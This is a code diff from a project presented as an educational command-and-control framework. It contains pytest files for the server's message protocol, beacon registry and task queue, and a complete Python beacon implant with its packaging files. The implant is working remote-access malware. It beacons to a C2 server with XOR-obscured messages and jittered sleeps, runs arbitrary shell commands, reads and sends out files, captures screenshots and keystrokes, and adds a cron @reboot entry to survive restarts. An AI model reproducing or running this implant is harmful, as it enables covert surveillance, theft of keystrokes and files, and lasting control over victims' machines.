||||
type=MessageType.TASK,
|
||||
payload={
|
||||
"id": "task-001",
|
||||
"command": CommandType.SHELL,
|
||||
"args": "whoami",
|
||||
},
|
||||
)
|
||||
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
|
||||
assert restored.type == MessageType.TASK
|
||||
assert restored.payload["command"] == "shell"
|
||||
|
||||
def test_result_roundtrip(self) -> None:
|
||||
"""
|
||||
RESULT message survives pack -> unpack
|
||||
"""
|
||||
original = Message(
|
||||
type=MessageType.RESULT,
|
||||
payload={
|
||||
"task_id": "task-001",
|
||||
"output": "root\n",
|
||||
"error": None,
|
||||
},
|
||||
)
|
||||
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
|
||||
assert restored.type == MessageType.RESULT
|
||||
assert restored.payload["output"] == "root\n"
|
||||
|
||||
def test_heartbeat_roundtrip(self) -> None:
|
||||
"""
|
||||
HEARTBEAT message survives pack -> unpack
|
||||
"""
|
||||
original = Message(
|
||||
type=MessageType.HEARTBEAT,
|
||||
payload={"id": "beacon-abc"},
|
||||
)
|
||||
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
|
||||
assert restored.type == MessageType.HEARTBEAT
|
||||
|
||||
def test_error_roundtrip(self) -> None:
|
||||
"""
|
||||
ERROR message survives pack -> unpack
|
||||
"""
|
||||
original = Message(
|
||||
type=MessageType.ERROR,
|
||||
payload={"detail": "command not found"},
|
||||
)
|
||||
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
|
||||
assert restored.type == MessageType.ERROR
|
||||
assert restored.payload["detail"] == "command not found"
|
||||
|
||||
|
||||
class TestUnpackValidation:
|
||||
"""
|
||||
Verify unpack rejects malformed data
|
||||
"""
|
||||
|
||||
def test_invalid_base64(self) -> None:
|
||||
"""
|
||||
Non-base64 input raises ValueError
|
||||
"""
|
||||
with pytest.raises(ValueError, match="Invalid protocol message"):
|
||||
unpack("not-valid-base64!!!", TEST_KEY)
|
||||
|
||||
def test_invalid_json_after_decode(self) -> None:
|
||||
"""
|
||||
Valid base64 but invalid JSON after XOR raises ValueError
|
||||
"""
|
||||
from core.encoding import encode
|
||||
|
||||
encoded = encode("this is not json", TEST_KEY)
|
||||
with pytest.raises(ValueError, match="Invalid protocol message"):
|
||||
unpack(encoded, TEST_KEY)
|
||||
|
||||
def test_missing_type_field(self) -> None:
|
||||
"""
|
||||
JSON without 'type' field raises ValueError
|
||||
"""
|
||||
from core.encoding import encode
|
||||
|
||||
encoded = encode('{"payload": {}}', TEST_KEY)
|
||||
with pytest.raises(ValueError, match="Invalid protocol message"):
|
||||
unpack(encoded, TEST_KEY)
|
||||
|
||||
def test_invalid_message_type(self) -> None:
|
||||
"""
|
||||
Unknown message type raises ValueError
|
||||
"""
|
||||
from core.encoding import encode
|
||||
|
||||
encoded = encode(
|
||||
'{"type": "BOGUS", "payload": {}}', TEST_KEY
|
||||
)
|
||||
with pytest.raises(ValueError, match="Invalid protocol message"):
|
||||
unpack(encoded, TEST_KEY)
|
||||
|
|
@ -0,0 +1,164 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
test_registry.py
|
||||
"""
|
||||
|
||||
from pathlib import Path
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
import aiosqlite
|
||||
import pytest
|
||||
|
||||
from beacon.registry import BeaconRegistry
|
||||
from core.models import BeaconMeta
|
||||
from database import SCHEMA
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
async def db(tmp_path: Path) -> aiosqlite.Connection:
|
||||
"""
|
||||
Provide a fresh in-memory-like SQLite connection with schema
|
||||
"""
|
||||
db_path = tmp_path / "test.db"
|
||||
conn = await aiosqlite.connect(db_path)
|
||||
conn.row_factory = aiosqlite.Row
|
||||
await conn.executescript(SCHEMA)
|
||||
await conn.commit()
|
||||
yield conn
|
||||
await conn.close()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def registry() -> BeaconRegistry:
|
||||
"""
|
||||
Provide a fresh BeaconRegistry instance
|
||||
"""
|
||||
return BeaconRegistry()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def sample_meta() -> BeaconMeta:
|
||||
"""
|
||||
Provide sample beacon metadata
|
||||
"""
|
||||
return BeaconMeta(
|
||||
hostname="test-host",
|
||||
os="Linux",
|
||||
username="root",
|
||||
pid=1234,
|
||||
internal_ip="10.0.0.5",
|
||||
arch="x86_64",
|
||||
)
|
||||
|
||||
|
||||
class TestBeaconRegistry:
|
||||
"""
|
||||
Verify beacon registration, unregistration, and queries
|
||||
"""
|
||||
|
||||
async def test_register_adds_to_active(
|
||||
self,
|
||||
registry: BeaconRegistry,
|
||||
sample_meta: BeaconMeta,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Registering a beacon makes it appear in the active list
|
||||
"""
|
||||
ws = AsyncMock()
|
||||
await registry.register("beacon-001", sample_meta, ws, db)
|
||||
|
||||
assert registry.is_active("beacon-001")
|
||||
assert "beacon-001" in registry.list_active_ids()
|
||||
|
||||
async def test_register_persists_to_db(
|
||||
self,
|
||||
registry: BeaconRegistry,
|
||||
sample_meta: BeaconMeta,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Registering a beacon creates a database record
|
||||
"""
|
||||
ws = AsyncMock()
|
||||
await registry.register("beacon-002", sample_meta, ws, db)
|
||||
|
||||
record = await registry.get_one("beacon-002", db)
|
||||
assert record is not None
|
||||
assert record.hostname == "test-host"
|
||||
assert record.os == "Linux"
|
||||
|
||||
async def test_unregister_removes_from_active(
|
||||
self,
|
||||
registry: BeaconRegistry,
|
||||
sample_meta: BeaconMeta,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Unregistering a beacon removes it from the active list
|
||||
"""
|
||||
ws = AsyncMock()
|
||||
await registry.register("beacon-003", sample_meta, ws, db)
|
||||
await registry.unregister("beacon-003", db)
|
||||
|
||||
assert not registry.is_active("beacon-003")
|
||||
assert "beacon-003" not in registry.list_active_ids()
|
||||
|
||||
async def test_unregister_preserves_db_record(
|
||||
self,
|
||||
registry: BeaconRegistry,
|
||||
sample_meta: BeaconMeta,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Unregistering updates last_seen but does not delete the record
|
||||
"""
|
||||
ws = AsyncMock()
|
||||
await registry.register("beacon-004", sample_meta, ws, db)
|
||||
await registry.unregister("beacon-004", db)
|
||||
|
||||
record = await registry.get_one("beacon-004", db)
|
||||
assert record is not None
|
||||
|
||||
async def test_get_all_returns_records(
|
||||
self,
|
||||
registry: BeaconRegistry,
|
||||
sample_meta: BeaconMeta,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
get_all returns all persisted beacon records
|
||||
"""
|
||||
ws = AsyncMock()
|
||||
await registry.register("beacon-a", sample_meta, ws, db)
|
||||
await registry.register("beacon-b", sample_meta, ws, db)
|
||||
|
||||
records = await registry.get_all(db)
|
||||
ids = {r.id for r in records}
|
||||
assert "beacon-a" in ids
|
||||
assert "beacon-b" in ids
|
||||
|
||||
async def test_get_one_returns_none_for_missing(
|
||||
self,
|
||||
registry: BeaconRegistry,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
get_one returns None for a non-existent beacon ID
|
||||
"""
|
||||
assert await registry.get_one("nonexistent", db) is None
|
||||
|
||||
async def test_get_connection(
|
||||
self,
|
||||
registry: BeaconRegistry,
|
||||
sample_meta: BeaconMeta,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
get_connection returns the stored WebSocket
|
||||
"""
|
||||
ws = AsyncMock()
|
||||
await registry.register("beacon-005", sample_meta, ws, db)
|
||||
|
||||
assert registry.get_connection("beacon-005") is ws
|
||||
assert registry.get_connection("nonexistent") is None
|
||||
|
|
@ -0,0 +1,188 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
test_tasking.py
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
from pathlib import Path
|
||||
|
||||
import aiosqlite
|
||||
import pytest
|
||||
|
||||
from beacon.tasking import TaskManager
|
||||
from core.models import CommandType, TaskRecord, TaskResult
|
||||
from database import SCHEMA
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
async def db(tmp_path: Path) -> aiosqlite.Connection:
|
||||
"""
|
||||
Provide a fresh SQLite connection with schema
|
||||
"""
|
||||
db_path = tmp_path / "test.db"
|
||||
conn = await aiosqlite.connect(db_path)
|
||||
conn.row_factory = aiosqlite.Row
|
||||
await conn.executescript(SCHEMA)
|
||||
await conn.execute(
|
||||
"""
|
||||
INSERT INTO beacons (id, hostname, os, username, pid, internal_ip, arch, first_seen, last_seen)
|
||||
VALUES ('beacon-t', 'test', 'Linux', 'root', 1, '10.0.0.1', 'x86_64', '2026-01-01', '2026-01-01')
|
||||
"""
|
||||
)
|
||||
await conn.commit()
|
||||
yield conn
|
||||
await conn.close()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def task_manager() -> TaskManager:
|
||||
"""
|
||||
Provide a fresh TaskManager instance
|
||||
"""
|
||||
return TaskManager()
|
||||
|
||||
|
||||
def _make_task(task_id: str, beacon_id: str = "beacon-t") -> TaskRecord:
|
||||
"""
|
||||
Create a sample TaskRecord
|
||||
"""
|
||||
return TaskRecord(
|
||||
id=task_id,
|
||||
beacon_id=beacon_id,
|
||||
command=CommandType.SHELL,
|
||||
args="whoami",
|
||||
)
|
||||
|
||||
|
||||
class TestTaskManager:
|
||||
"""
|
||||
Verify task submission, retrieval, and result storage
|
||||
"""
|
||||
|
||||
async def test_submit_and_get_next(
|
||||
self,
|
||||
task_manager: TaskManager,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Submitted task can be retrieved from the queue
|
||||
"""
|
||||
task = _make_task("task-001")
|
||||
await task_manager.submit(task, db)
|
||||
|
||||
retrieved = await asyncio.wait_for(
|
||||
task_manager.get_next("beacon-t"), timeout=1.0
|
||||
)
|
||||
assert retrieved.id == "task-001"
|
||||
assert retrieved.command == CommandType.SHELL
|
||||
|
||||
async def test_submit_persists_to_db(
|
||||
self,
|
||||
task_manager: TaskManager,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Submitted task is persisted in SQLite
|
||||
"""
|
||||
task = _make_task("task-002")
|
||||
await task_manager.submit(task, db)
|
||||
|
||||
cursor = await db.execute(
|
||||
"SELECT * FROM tasks WHERE id = ?", ("task-002",)
|
||||
)
|
||||
row = await cursor.fetchone()
|
||||
assert row is not None
|
||||
assert dict(row)["command"] == "shell"
|
||||
|
||||
async def test_tasks_queue_in_order(
|
||||
self,
|
||||
task_manager: TaskManager,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Tasks are dequeued in FIFO order
|
||||
"""
|
||||
await task_manager.submit(_make_task("first"), db)
|
||||
await task_manager.submit(_make_task("second"), db)
|
||||
await task_manager.submit(_make_task("third"), db)
|
||||
|
||||
t1 = await asyncio.wait_for(task_manager.get_next("beacon-t"), timeout=1.0)
|
||||
t2 = await asyncio.wait_for(task_manager.get_next("beacon-t"), timeout=1.0)
|
||||
t3 = await asyncio.wait_for(task_manager.get_next("beacon-t"), timeout=1.0)
|
||||
|
||||
assert [t1.id, t2.id, t3.id] == ["first", "second", "third"]
|
||||
|
||||
async def test_store_result(
|
||||
self,
|
||||
task_manager: TaskManager,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Storing a result updates the task status to completed
|
||||
"""
|
||||
task = _make_task("task-003")
|
||||
await task_manager.submit(task, db)
|
||||
|
||||
result = TaskResult(
|
||||
id="result-001",
|
||||
task_id="task-003",
|
||||
output="root\n",
|
||||
)
|
||||
await task_manager.store_result(result, db)
|
||||
|
||||
cursor = await db.execute(
|
||||
"SELECT status FROM tasks WHERE id = ?", ("task-003",)
|
||||
)
|
||||
row = await cursor.fetchone()
|
||||
assert dict(row)["status"] == "completed"
|
||||
|
||||
async def test_get_history(
|
||||
self,
|
||||
task_manager: TaskManager,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Task history includes task details joined with results
|
||||
"""
|
||||
task = _make_task("task-004")
|
||||
await task_manager.submit(task, db)
|
||||
|
||||
result = TaskResult(
|
||||
id="result-002",
|
||||
task_id="task-004",
|
||||
output="test output",
|
||||
)
|
||||
await task_manager.store_result(result, db)
|
||||
|
||||
history = await task_manager.get_history("beacon-t", db)
|
||||
assert len(history) >= 1
|
||||
entry = history[0]
|
||||
assert entry["command"] == "shell"
|
||||
assert entry["output"] == "test output"
|
||||
|
||||
async def test_get_next_blocks_until_task(
|
||||
self,
|
||||
task_manager: TaskManager,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
get_next blocks when the queue is empty and resolves when a task arrives
|
||||
"""
|
||||
async def delayed_submit() -> None:
|
||||
await asyncio.sleep(0.1)
|
||||
await task_manager.submit(_make_task("delayed"), db)
|
||||
|
||||
asyncio.create_task(delayed_submit())
|
||||
retrieved = await asyncio.wait_for(
|
||||
task_manager.get_next("beacon-t"), timeout=2.0
|
||||
)
|
||||
assert retrieved.id == "delayed"
|
||||
|
||||
def test_remove_queue(self, task_manager: TaskManager) -> None:
|
||||
"""
|
||||
remove_queue cleans up the beacon queue
|
||||
"""
|
||||
task_manager._ensure_queue("beacon-x")
|
||||
assert "beacon-x" in task_manager._queues
|
||||
task_manager.remove_queue("beacon-x")
|
||||
assert "beacon-x" not in task_manager._queues
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,514 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
beacon.py
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import base64
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import random
|
||||
import socket
|
||||
import subprocess
|
||||
import threading
|
||||
import uuid
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
import psutil
|
||||
import websockets
|
||||
from websockets.asyncio.client import connect
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(asctime)s %(levelname)s: %(message)s",
|
||||
)
|
||||
logger = logging.getLogger("beacon")
|
||||
|
||||
|
||||
@dataclass
|
||||
class BeaconConfig:
|
||||
"""
|
||||
Runtime configuration for the beacon implant
|
||||
"""
|
||||
|
||||
server_url: str = os.environ.get("C2_SERVER_URL",
|
||||
"ws://localhost:8000/ws/beacon")
|
||||
xor_key: str = os.environ.get("C2_XOR_KEY",
|
||||
"c2-beacon-default-key-change-me")
|
||||
sleep_interval: float = float(os.environ.get("C2_SLEEP", "3.0"))
|
||||
jitter_percent: float = float(os.environ.get("C2_JITTER", "0.3"))
|
||||
reconnect_base: float = 2.0
|
||||
reconnect_max: float = 300.0
|
||||
beacon_id: str = field(default_factory=lambda: str(uuid.uuid4()))
|
||||
|
||||
|
||||
config = BeaconConfig()
|
||||
|
||||
_keylog_buffer: list[str] = []
|
||||
_keylog_listener: Any = None
|
||||
_keylog_lock = threading.Lock()
|
||||
|
||||
|
||||
def xor_bytes(data: bytes, key: bytes) -> bytes:
|
||||
"""
|
||||
XOR each byte of data with a repeating key
|
||||
"""
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
|
||||
|
||||
def encode(payload: str, key: str) -> str:
|
||||
"""
|
||||
Encode a plaintext payload: UTF-8 -> XOR -> Base64
|
||||
"""
|
||||
raw = payload.encode("utf-8")
|
||||
xored = xor_bytes(raw, key.encode("utf-8"))
|
||||
return base64.b64encode(xored).decode("ascii")
|
||||
|
||||
|
||||
def decode(encoded: str, key: str) -> str:
|
||||
"""
|
||||
Decode an encoded payload: Base64 -> XOR -> UTF-8
|
||||
"""
|
||||
xored = base64.b64decode(encoded)
|
||||
raw = xor_bytes(xored, key.encode("utf-8"))
|
||||
return raw.decode("utf-8")
|
||||
|
||||
|
||||
def pack(msg_type: str, payload: dict[str, Any]) -> str:
|
||||
"""
|
||||
Serialize and encode a protocol message
|
||||
"""
|
||||
raw = json.dumps({"type": msg_type, "payload": payload})
|
||||
return encode(raw, config.xor_key)
|
||||
|
||||
|
||||
def unpack(raw: str) -> dict[str, Any]:
|
||||
"""
|
||||
Decode and deserialize a protocol message
|
||||
"""
|
||||
decoded = decode(raw, config.xor_key)
|
||||
return json.loads(decoded)
|
||||
|
||||
|
||||
def jittered_sleep() -> float:
|
||||
"""
|
||||
Calculate sleep duration with random jitter applied
|
||||
"""
|
||||
jitter = config.sleep_interval * config.jitter_percent
|
||||
return config.sleep_interval + random.uniform(-jitter, jitter)
|
||||
|
||||
|
||||
def collect_system_info() -> dict[str, Any]:
|
||||
"""
|
||||
Gather host metadata for beacon registration
|
||||
"""
|
||||
return {
|
||||
"id": config.beacon_id,
|
||||
"hostname": socket.gethostname(),
|
||||
"os": f"{platform.system()} {platform.release()}",
|
||||
"username": os.getenv("USER", os.getenv("USERNAME", "unknown")),
|
||||
"pid": os.getpid(),
|
||||
"internal_ip": _get_internal_ip(),
|
||||
"arch": platform.machine(),
|
||||
}
|
||||
|
||||
|
||||
def _get_internal_ip() -> str:
|
||||
"""
|
||||
Determine the primary internal IP address via UDP socket trick
|
||||
"""
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.connect(("10.255.255.255", 1))
|
||||
ip = sock.getsockname()[0]
|
||||
sock.close()
|
||||
return ip
|
||||
except OSError:
|
||||
return "127.0.0.1"
|
||||
|
||||
|
||||
async def handle_shell(args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Execute a shell command and capture stdout/stderr
|
||||
"""
|
||||
if not args:
|
||||
return {"output": None, "error": "No command provided"}
|
||||
|
||||
proc = await asyncio.create_subprocess_shell(
|
||||
args,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
stdout, stderr = await proc.communicate()
|
||||
return {
|
||||
"output": stdout.decode("utf-8", errors="replace"),
|
||||
"error": stderr.decode("utf-8", errors="replace") or None,
|
||||
}
|
||||
|
||||
|
||||
async def handle_sysinfo(_args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Collect detailed system information via psutil
|
||||
"""
|
||||
mem = psutil.virtual_memory()
|
||||
disk_info = []
|
||||
for part in psutil.disk_partitions():
|
||||
try:
|
||||
usage = psutil.disk_usage(part.mountpoint)
|
||||
disk_info.append({
|
||||
"device": part.device,
|
||||
"mountpoint": part.mountpoint,
|
||||
"total_gb": round(usage.total / (1024**3), 2),
|
||||
"used_percent": usage.percent,
|
||||
})
|
||||
except PermissionError:
|
||||
continue
|
||||
|
||||
net_info = {}
|
||||
for iface, addrs in psutil.net_if_addrs().items():
|
||||
for addr in addrs:
|
||||
if addr.family == socket.AF_INET:
|
||||
net_info[iface] = addr.address
|
||||
|
||||
return {
|
||||
"output":
|
||||
json.dumps(
|
||||
{
|
||||
"os": f"{platform.system()} {platform.release()}",
|
||||
"hostname": socket.gethostname(),
|
||||
"username": os.getenv("USER", os.getenv("USERNAME",
|
||||
"unknown")),
|
||||
"arch": platform.machine(),
|
||||
"cpu_count": psutil.cpu_count(),
|
||||
"cpu_percent": psutil.cpu_percent(interval=0.5),
|
||||
"memory_total_gb": round(mem.total / (1024**3), 2),
|
||||
"memory_available_gb": round(mem.available / (1024**3), 2),
|
||||
"memory_percent": mem.percent,
|
||||
"disks": disk_info,
|
||||
"network": net_info,
|
||||
},
|
||||
indent=2),
|
||||
"error":
|
||||
None,
|
||||
}
|
||||
|
||||
|
||||
async def handle_proclist(_args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Enumerate running processes with resource usage
|
||||
"""
|
||||
processes = []
|
||||
for proc in psutil.process_iter(["pid", "name", "username"]):
|
||||
try:
|
||||
info = proc.info
|
||||
processes.append({
|
||||
"pid": info["pid"],
|
||||
"name": info["name"],
|
||||
"username": info["username"] or "unknown",
|
||||
})
|
||||
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
||||
continue
|
||||
|
||||
return {
|
||||
"output": json.dumps(processes[:100], indent=2),
|
||||
"error": None,
|
||||
}
|
||||
|
||||
|
||||
async def handle_upload(args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Receive a file from the server and write it to disk
|
||||
"""
|
||||
if not args:
|
||||
return {"output": None, "error": "No upload data provided"}
|
||||
|
||||
try:
|
||||
data = json.loads(args)
|
||||
filename = data["filename"]
|
||||
content = base64.b64decode(data["content"])
|
||||
dest = f"/tmp/{filename}"
|
||||
|
||||
import aiofiles
|
||||
async with aiofiles.open(dest, "wb") as f:
|
||||
await f.write(content)
|
||||
|
||||
return {
|
||||
"output": f"Written {len(content)} bytes to {dest}",
|
||||
"error": None
|
||||
}
|
||||
except (json.JSONDecodeError, KeyError) as exc:
|
||||
return {"output": None, "error": str(exc)}
|
||||
|
||||
|
||||
async def handle_download(args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Read a file from disk and return its contents as base64
|
||||
"""
|
||||
if not args:
|
||||
return {"output": None, "error": "No file path provided"}
|
||||
|
||||
try:
|
||||
import aiofiles
|
||||
async with aiofiles.open(args, "rb") as f:
|
||||
content = await f.read()
|
||||
|
||||
return {
|
||||
"output":
|
||||
json.dumps({
|
||||
"filename": os.path.basename(args),
|
||||
"content": base64.b64encode(content).decode("ascii"),
|
||||
"size": len(content),
|
||||
}),
|
||||
"error":
|
||||
None,
|
||||
}
|
||||
except FileNotFoundError:
|
||||
return {"output": None, "error": f"File not found: {args}"}
|
||||
except PermissionError:
|
||||
return {"output": None, "error": f"Permission denied: {args}"}
|
||||
|
||||
|
||||
async def handle_screenshot(_args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Capture the screen and return it as a base64-encoded PNG
|
||||
"""
|
||||
try:
|
||||
import mss
|
||||
|
||||
with mss.mss() as sct:
|
||||
monitor = sct.monitors[0]
|
||||
screenshot = sct.grab(monitor)
|
||||
png_bytes = mss.tools.to_png(screenshot.rgb, screenshot.size)
|
||||
|
||||
return {
|
||||
"output":
|
||||
json.dumps({
|
||||
"format": "png",
|
||||
"content": base64.b64encode(png_bytes).decode("ascii"),
|
||||
"width": screenshot.width,
|
||||
"height": screenshot.height,
|
||||
}),
|
||||
"error":
|
||||
None,
|
||||
}
|
||||
except Exception as exc:
|
||||
return {"output": None, "error": f"Screenshot failed: {exc}"}
|
||||
|
||||
|
||||
async def handle_keylog_start(_args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Start a background keylogger thread using pynput
|
||||
"""
|
||||
global _keylog_listener
|
||||
|
||||
if _keylog_listener is not None:
|
||||
return {"output": "Keylogger already running", "error": None}
|
||||
|
||||
try:
|
||||
from pynput import keyboard
|
||||
|
||||
def on_press(key: Any) -> None:
|
||||
with _keylog_lock:
|
||||
try:
|
||||
_keylog_buffer.append(key.char or "")
|
||||
except AttributeError:
|
||||
_keylog_buffer.append(f"[{key.name}]")
|
||||
|
||||
_keylog_listener = keyboard.Listener(on_press=on_press)
|
||||
_keylog_listener.start()
|
||||
return {"output": "Keylogger started", "error": None}
|
||||
except Exception as exc:
|
||||
return {"output": None, "error": f"Keylogger failed: {exc}"}
|
||||
|
||||
|
||||
async def handle_keylog_stop(_args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Stop the keylogger and return captured keystrokes
|
||||
"""
|
||||
global _keylog_listener
|
||||
|
||||
if _keylog_listener is None:
|
||||
return {"output": "Keylogger not running", "error": None}
|
||||
|
||||
_keylog_listener.stop()
|
||||
_keylog_listener = None
|
||||
|
||||
with _keylog_lock:
|
||||
captured = "".join(_keylog_buffer)
|
||||
_keylog_buffer.clear()
|
||||
|
||||
return {"output": captured, "error": None}
|
||||
|
||||
|
||||
async def handle_persist(args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Install persistence via cron job on Linux systems
|
||||
"""
|
||||
if platform.system() != "Linux":
|
||||
return {
|
||||
"output": None,
|
||||
"error": f"Persist not supported on {platform.system()}",
|
||||
}
|
||||
|
||||
beacon_path = os.path.abspath(__file__)
|
||||
cron_entry = f"@reboot /usr/bin/python3 {beacon_path} &"
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["crontab", "-l"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
existing = result.stdout if result.returncode == 0 else ""
|
||||
|
||||
if cron_entry in existing:
|
||||
return {"output": "Persistence already installed", "error": None}
|
||||
|
||||
new_crontab = existing.rstrip() + "\n" + cron_entry + "\n"
|
||||
subprocess.run(
|
||||
["crontab", "-"],
|
||||
input=new_crontab,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
return {"output": "Cron persistence installed", "error": None}
|
||||
except Exception as exc:
|
||||
return {"output": None, "error": f"Persist failed: {exc}"}
|
||||
|
||||
|
||||
async def handle_sleep(args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Update the beacon sleep interval and jitter percentage
|
||||
"""
|
||||
if not args:
|
||||
return {
|
||||
"output":
|
||||
json.dumps({
|
||||
"interval": config.sleep_interval,
|
||||
"jitter": config.jitter_percent,
|
||||
}),
|
||||
"error":
|
||||
None,
|
||||
}
|
||||
|
||||
try:
|
||||
data = json.loads(args)
|
||||
if "interval" in data:
|
||||
config.sleep_interval = float(data["interval"])
|
||||
if "jitter" in data:
|
||||
config.jitter_percent = float(data["jitter"])
|
||||
|
||||
return {
|
||||
"output":
|
||||
json.dumps({
|
||||
"interval": config.sleep_interval,
|
||||
"jitter": config.jitter_percent,
|
||||
}),
|
||||
"error":
|
||||
None,
|
||||
}
|
||||
except (json.JSONDecodeError, ValueError) as exc:
|
||||
return {"output": None, "error": str(exc)}
|
||||
|
||||
|
||||
COMMAND_HANDLERS = {
|
||||
"shell": handle_shell,
|
||||
"sysinfo": handle_sysinfo,
|
||||
"proclist": handle_proclist,
|
||||
"upload": handle_upload,
|
||||
"download": handle_download,
|
||||
"screenshot": handle_screenshot,
|
||||
"keylog_start": handle_keylog_start,
|
||||
"keylog_stop": handle_keylog_stop,
|
||||
"persist": handle_persist,
|
||||
"sleep": handle_sleep,
|
||||
}
|
||||
|
||||
|
||||
async def dispatch(command: str, args: str | None) -> dict[str, Any]:
|
||||
"""
|
||||
Route a command to its handler function
|
||||
"""
|
||||
handler = COMMAND_HANDLERS.get(command)
|
||||
if handler is None:
|
||||
return {"output": None, "error": f"Unknown command: {command}"}
|
||||
return await handler(args)
|
||||
|
||||
|
||||
async def heartbeat_loop(ws: Any) -> None:
|
||||
"""
|
||||
Send periodic heartbeat messages to maintain the connection
|
||||
"""
|
||||
while True:
|
||||
try:
|
||||
msg = pack("HEARTBEAT", {"id": config.beacon_id})
|
||||
await ws.send(msg)
|
||||
await asyncio.sleep(jittered_sleep())
|
||||
except Exception:
|
||||
break
|
||||
|
||||
|
||||
async def main() -> None:
|
||||
"""
|
||||
Main beacon loop: connect, register, process tasks, reconnect on failure
|
||||
"""
|
||||
backoff = config.reconnect_base
|
||||
|
||||
while True:
|
||||
try:
|
||||
logger.info("Connecting to %s", config.server_url)
|
||||
|
||||
async with connect(config.server_url) as ws:
|
||||
sysinfo = collect_system_info()
|
||||
await ws.send(pack("REGISTER", sysinfo))
|
||||
logger.info("Registered as %s", config.beacon_id)
|
||||
|
||||
backoff = config.reconnect_base
|
||||
|
||||
heartbeat_task = asyncio.create_task(heartbeat_loop(ws))
|
||||
|
||||
try:
|
||||
while True:
|
||||
raw = await ws.recv()
|
||||
message = unpack(raw)
|
||||
|
||||
if message.get("type") == "TASK":
|
||||
payload = message["payload"]
|
||||
task_id = payload["id"]
|
||||
command = payload["command"]
|
||||
args = payload.get("args")
|
||||
|
||||
logger.info("Executing: %s %s", command, args
|
||||
or "")
|
||||
result = await dispatch(command, args)
|
||||
|
||||
response = pack(
|
||||
"RESULT", {
|
||||
"task_id": task_id,
|
||||
"output": result.get("output"),
|
||||
"error": result.get("error"),
|
||||
})
|
||||
await ws.send(response)
|
||||
|
||||
await asyncio.sleep(jittered_sleep())
|
||||
finally:
|
||||
heartbeat_task.cancel()
|
||||
|
||||
except (
|
||||
ConnectionRefusedError,
|
||||
websockets.exceptions.ConnectionClosed,
|
||||
OSError,
|
||||
) as exc:
|
||||
logger.warning("Connection lost: %s", exc)
|
||||
logger.info("Reconnecting in %.1fs", backoff)
|
||||
await asyncio.sleep(backoff)
|
||||
backoff = min(backoff * 2, config.reconnect_max)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
[project]
|
||||
name = "c2-beacon-implant"
|
||||
version = "1.0.0"
|
||||
description = "C2 beacon implant for security research and education"
|
||||
requires-python = ">=3.12"
|
||||
authors = [
|
||||
{name = "CarterPerez-dev", email = "support@certgames.com"}
|
||||
]
|
||||
license = {text = "AGPL-3.0"}
|
||||
|
||||
dependencies = [
|
||||
"websockets>=15.0",
|
||||
"aiofiles>=24.1.0",
|
||||
"mss>=10.0.0",
|
||||
"pynput>=1.8.1",
|
||||
"psutil>=7.0.0",
|
||||
]
|
||||
|
||||
[build-system]
|
||||
requires = ["hatchling"]
|
||||
build-backend = "hatchling.build"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = ["beacon.py"]
|
||||
|
|
@ -0,0 +1,241 @@
|
|||
version = 1
|
||||
revision = 3
|
||||
requires-python = ">=3.12"
|
||||
|
||||
[[package]]
|
||||
name = "aiofiles"
|
||||
version = "25.1.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
